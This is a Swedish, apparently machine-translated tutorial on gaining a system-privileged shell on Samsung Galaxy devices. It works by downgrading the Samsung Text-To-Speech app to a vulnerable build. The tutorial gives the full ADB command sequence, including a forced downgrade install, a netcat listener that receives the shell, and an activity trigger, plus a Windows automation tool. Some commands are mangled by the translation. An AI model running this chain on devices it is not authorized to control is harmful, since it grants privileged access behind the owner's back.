Hur man får åtkomst till systemskalet på vilken Samsung Galaxy-enhet som helst

snabblänkar

  • Förutsättningar
  • Hur man utnyttjar vilken Samsung Galaxy-enhet som helst för att få åtkomst till systemskalet
  • Verifiering
  • Slutsats

Den första måndagen i varje månad publicerar Google Android säkerhetsbulletin. Den avslöjar alla mildrade säkerhetssårbarheter över olika komponenter i Android OS som såväl som Linux-kärnan och deras patchar som skickats in av Google själva eller andra tredje parter till det datum. Stora OEM-tillverkare som Samsung har sin egen version av Android, så de väljer att rulla sina egna patchar och uppdateringar till säkerhetsuppdateringar också.

Med det sagt är det ganska svårt att ta hand om varje kryphål. Det finns en uppsjö av attackvektorer, och ibland kan du skapa din egen exploateringskedja baserat på en tidigare känd sårbarhet bara för att du har en ny metod för att kringgå en av de skyddsåtgärder. Detta är precis vad XDA Senior Member K0mraid3 gjorde med en fyra år gammal sårbarhet, vilket gjorde det möjligt för honom att få åtkomst till systemskalet på alla Samsung Galaxy-enheter – inklusive de senaste flaggskeppet – där ute. Även om det inte är samma sak som

ha root-privilegier, det är en tillräckligt hög lokal privilegieupptrappning.

Den primära ingångspunkten för sårbarheten ligger inom Samsung Text-To-Speech (paketnamn: com.samsung. SMT), en förinstallerad systemapp som finns på alla Samsung Galaxy-enheter. Tanken är att nedgradera den installerade versionen av appen till en specifik sårbar byggnad (v3.0.02.2 för att vara exakt), och sedan tvinga den att ladda ett bibliotek, vilket i sin tur öppnar ett skal med systembehörighet (UID 1000).

Om du vill lära dig mer om utnyttjandet, se till att kolla in XDA Lead Technical Editor Adam Conways förklarare. Han pratade med K0mraid3 för att förstå hela omfattningen av detta utnyttjande och hur det fungerar.

  1. För att upprepa, detta är inte root-åtkomst (UID 0), men systemskal-åtkomsten är tillräckligt kraftfull för att exekvera ett gäng annars begränsade binärfiler.
  2. K0mraid3s proof of concept kräver en hjälpar-APK, och du måste köra den minst en gång innan du startar exploateringskedjan.
  3. Ett gränssnitt, det vill säga Samsungs anpassade Android-skals inbyggda energisparrutiner kan vara besvärliga, eftersom de kan hindra kommunikationen mellan TTS-appen, hjälpar-APK: n och skalet. Därför föreslår vi att du ställer in energisparprofilen till "Obegränsad" för apparna i förväg.

Förutsättningar

  1. Ladda ner den förkompilerade versionen av exploateringen från XDA forumtråd eller det officiella GitHub-förrådet länkat nedan: K0mraid3s System Shell Exploit
  2. Extrahera arkivet någonstans och du bör hitta den sårbara versionen av Samsung Text-To-Speech APK (samsungTTSVULN2.apk), hjälpappen (Komraid3s_POC_Vx.x.apk) och en Windows-körbar med namnet systemshell-vx.x.exe.
  3. Se till att den senaste versionen av ADB är installerat på din PC/Mac/Chromebook. Kom också ihåg att installera/uppdatera Samsung USB-drivrutinerna om du är en Windows-användare.

Hur man utnyttjar vilken Samsung Galaxy-enhet som helst för att få åtkomst till systemskalet

Manuell metod

  1. Anslut mål Galaxy-enheten till din PC med USB-felsökning på, se till att den är upptäckbar av ADB och installera sedan hjälparappen.
    adb install Komraid3s_POC_Vx.x.apk
    • Som nämnts tidigare, öppna hjälparappen minst en gång innan du fortsätter till nästa steg.
  2. Skjut nu den sårbara versionen av Samsung TTS-appen till /data/local/tmp och ändra dess behörigheter:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Starta om enheten. Så snart du är på startskärmen, kör följande kommando för att ersätta den redan installerade versionen av Samsung TTS-appen med den sårbara:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Om allt går rätt bör du se ett "Success"-meddelande på konsolen.
  4. Öppna ett skal på målenheten genom att öppna ett annat terminalfönster och köra adb skal, kör sedan Netcat-binären och lyssna efter en inkommande anslutning på 9997-porten med följande kommando:
    adb shell nc -lp 9997
  5. I det här skedet måste vi utföra en specifik aktivitet i Samsung TTS-appen, som öppnar systemskalet för oss.
    • Använd en tredjepartsapp som detta för att skapa en genväg till "com.samsung. SMT/.gui. Nedladdningslista” aktivitet.
    • Du kan också använda Androids egen aktivitetshanterare (am) för att göra detsamma. I så fall kan du köra det via ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) eller använd en terminalemulatorapp på din telefon/surfplatta som Termux och kör följande kommando:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Byt tillbaka till det första skalet och du bör se en ny prompt med systembehörighet (UID 1000).

Automatiserad metod

För att göra saker enklare tillhandahåller K0mraid3 också en lättanvänd GUI-applikation för att automatisera de flesta uppgifterna. Tänk på att GUI-appen är endast för Windows, så om du är en Linux/macOS-användare är det bättre att hålla fast vid den manuella metoden.

  1. Anslut mål Galaxy-enheten till din PC med USB-felsökning på, se till att den är upptäckbar av ADB, installera sedan hjälparappen.
    adb install Komraid3s_POC_Vx.x.apk
    • Som nämnts tidigare, öppna hjälparappen minst en gång innan du fortsätter till nästa steg.
  2. Med målenheten upptäckbar av ADB, kör systemshell-vx.x.exe på värddatorn.
  3. Klicka på knappen "START SHELL". Appen kommer automatiskt att nedgradera Samsung TTS-appen och försöka öppna systemskalet.
    • På din telefon/surfplatta kanske du ser TTS-appen som uppmanar dig att ladda ner lite röstdata. Det finns inget behov av att interagera med dessa alternativ, eftersom de inte har något att göra med utnyttjandet.
    • Om appen hänger sig eller misslyckas med att öppna skalfönstret efter en tid, stäng det, starta om mål Galaxy-enheten och börja om.
    • Galaxy Store-appen kan automatiskt uppdatera och/eller återställa energisparprofilen för TTS-appen i bakgrunden, så se till att kontrollera det innan du startar processen från början.

Verifiering

När du har åtkomst till skalet kan du verifiera behörighetsnivån med ett av kommandona nedan:

  • whoami
    • Utdata ska vara "system"
  • id -u
    • Utdata ska vara "1000"

Slutsats

Det typiska sättet att uppnå root-åtkomst på en Android-enhet är att först låsa upp starthanteraren, som låter dig starta binärfiler från tredje part. Eftersom Androids säkerhetsmodell i princip faller sönder med root, inaktiverar detta steg avsiktligt en av de viktigaste säkerhetsfunktionerna på enheten, vilket är anledningen till att användaren uttryckligen måste tillåta det att hända genom att vanligtvis aktivera en växling i utvecklaralternativ och sedan utfärda ett upplåsningskommando till bootloader. När bootloadern är upplåst kan användaren introducera en superanvändarbinär i systemet och även en superanvändarhanteringsapp (som Magisk) för att kontrollera vilka processer som har tillgång till root.

Med systemskalexploatet som nämnts ovan behöver användaren dock inte låsa upp starthanteraren för att få en eskalerad behörighet. Även om det är långt ifrån root, är "system"-användaren kapabel nog att komma åt ett antal lågnivåpartitioner (t.ex. som /efs), starta olika service- och felsökningsverktyg och ändra många skyddade prop-värden – allt utan att ens snubbla Knox. Dessa exempel berör bara några få sätt; en illvillig aktör kan kombinera detta med andra sårbarheter och komma på mer skändliga handlingar.

Vi får vänta och se hur Google och Samsung tacklar scenariot. Hur som helst bör du förmodligen inaktivera eller ta bort Samsung Text-To-Speech-appen för tillfället.